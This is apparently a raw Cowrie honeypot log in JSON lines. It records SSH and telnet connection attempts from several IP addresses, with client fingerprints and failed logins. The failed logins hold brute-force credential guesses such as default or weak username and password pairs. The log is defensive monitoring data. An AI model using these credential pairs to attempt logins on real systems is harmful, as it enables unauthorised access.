{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:34:35.661528Z","src_ip":"47.86.95.62","session":"bccb0fcfcee8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":49628,"dst_ip":"10.17.0.5","dst_port":22,"session":"c493035c19ec","protocol":"ssh","message":"New connection: 47.86.95.62:49628 (10.17.0.5:22) [session: c493035c19ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:34:39.181503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:34:39.185842Z","src_ip":"47.86.95.62","session":"c493035c19ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:34:39.384836Z","src_ip":"47.86.95.62","session":"c493035c19ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:34:39.984209Z","src_ip":"47.86.95.62","session":"c493035c19ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:34:41.202117Z","src_ip":"47.86.95.62","session":"c493035c19ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":39776,"dst_ip":"159.203.135.109","dst_port":22,"session":"7403987416b9","protocol":"ssh","message":"New connection: 2.57.122.238:39776 (159.203.135.109:22) [session: 7403987416b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:14.046553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:14.054450Z","src_ip":"2.57.122.238","session":"7403987416b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:14.158595Z","src_ip":"2.57.122.238","session":"7403987416b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol123","message":"login attempt [sol/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:14.470325Z","src_ip":"2.57.122.238","session":"7403987416b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:15.577708Z","src_ip":"2.57.122.238","session":"7403987416b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":47900,"dst_ip":"10.17.0.5","dst_port":22,"session":"041cd680a957","protocol":"ssh","message":"New connection: 47.86.95.62:47900 (10.17.0.5:22) [session: 041cd680a957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:15.631495Z"}
{"eventid":"cowrie.session.closed","duration":120.00185799598694,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:17.028225Z","src_ip":"187.222.242.146","session":"482ca256a84a","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:17.460451Z","src_ip":"47.86.95.62","session":"041cd680a957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:17.464965Z","src_ip":"47.86.95.62","session":"041cd680a957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:20.210563Z","src_ip":"47.86.95.62","session":"041cd680a957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:21.594710Z","src_ip":"47.86.95.62","session":"041cd680a957","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.36","src_port":12688,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9e60db8ca15","protocol":"ssh","message":"New connection: 31.57.216.36:12688 (159.203.135.109:22) [session: c9e60db8ca15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:24.156884Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:24.160722Z","src_ip":"31.57.216.36","session":"c9e60db8ca15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.36","src_port":12702,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bcec7e12268","protocol":"ssh","message":"New connection: 31.57.216.36:12702 (159.203.135.109:22) [session: 1bcec7e12268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:24.329137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:24.333680Z","src_ip":"31.57.216.36","session":"1bcec7e12268","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:24.435268Z","src_ip":"31.57.216.36","session":"1bcec7e12268","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:24.643441Z","src_ip":"31.57.216.36","session":"1bcec7e12268","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:25.749459Z","src_ip":"31.57.216.36","session":"1bcec7e12268","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":54950,"dst_ip":"10.17.0.5","dst_port":22,"session":"81ba819ca957","protocol":"ssh","message":"New connection: 47.86.95.62:54950 (10.17.0.5:22) [session: 81ba819ca957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:32.275492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:32.282152Z","src_ip":"47.86.95.62","session":"81ba819ca957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:32.543531Z","src_ip":"47.86.95.62","session":"81ba819ca957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:33.363302Z","src_ip":"47.86.95.62","session":"81ba819ca957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:34.647712Z","src_ip":"47.86.95.62","session":"81ba819ca957","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":54966,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f0ed2d50c8a","protocol":"ssh","message":"New connection: 47.86.95.62:54966 (10.17.0.5:22) [session: 7f0ed2d50c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:36.983418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:36.987652Z","src_ip":"47.86.95.62","session":"7f0ed2d50c8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:37.200473Z","src_ip":"47.86.95.62","session":"7f0ed2d50c8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:37.838758Z","src_ip":"47.86.95.62","session":"7f0ed2d50c8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:35:39.089239Z","src_ip":"47.86.95.62","session":"7f0ed2d50c8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":38738,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e20d5e2dc10","protocol":"ssh","message":"New connection: 47.86.95.62:38738 (10.17.0.5:22) [session: 5e20d5e2dc10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:08.922336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:08.927580Z","src_ip":"47.86.95.62","session":"5e20d5e2dc10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:09.135880Z","src_ip":"47.86.95.62","session":"5e20d5e2dc10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:09.832979Z","src_ip":"47.86.95.62","session":"5e20d5e2dc10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:11.145995Z","src_ip":"47.86.95.62","session":"5e20d5e2dc10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":58500,"dst_ip":"10.17.0.5","dst_port":22,"session":"a30db41d0792","protocol":"ssh","message":"New connection: 47.86.95.62:58500 (10.17.0.5:22) [session: a30db41d0792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:15.018613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:15.024411Z","src_ip":"47.86.95.62","session":"a30db41d0792","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:15.233540Z","src_ip":"47.86.95.62","session":"a30db41d0792","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:15.861293Z","src_ip":"47.86.95.62","session":"a30db41d0792","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:36:17.365467Z","src_ip":"47.86.95.62","session":"a30db41d0792","protocol":"ssh"}
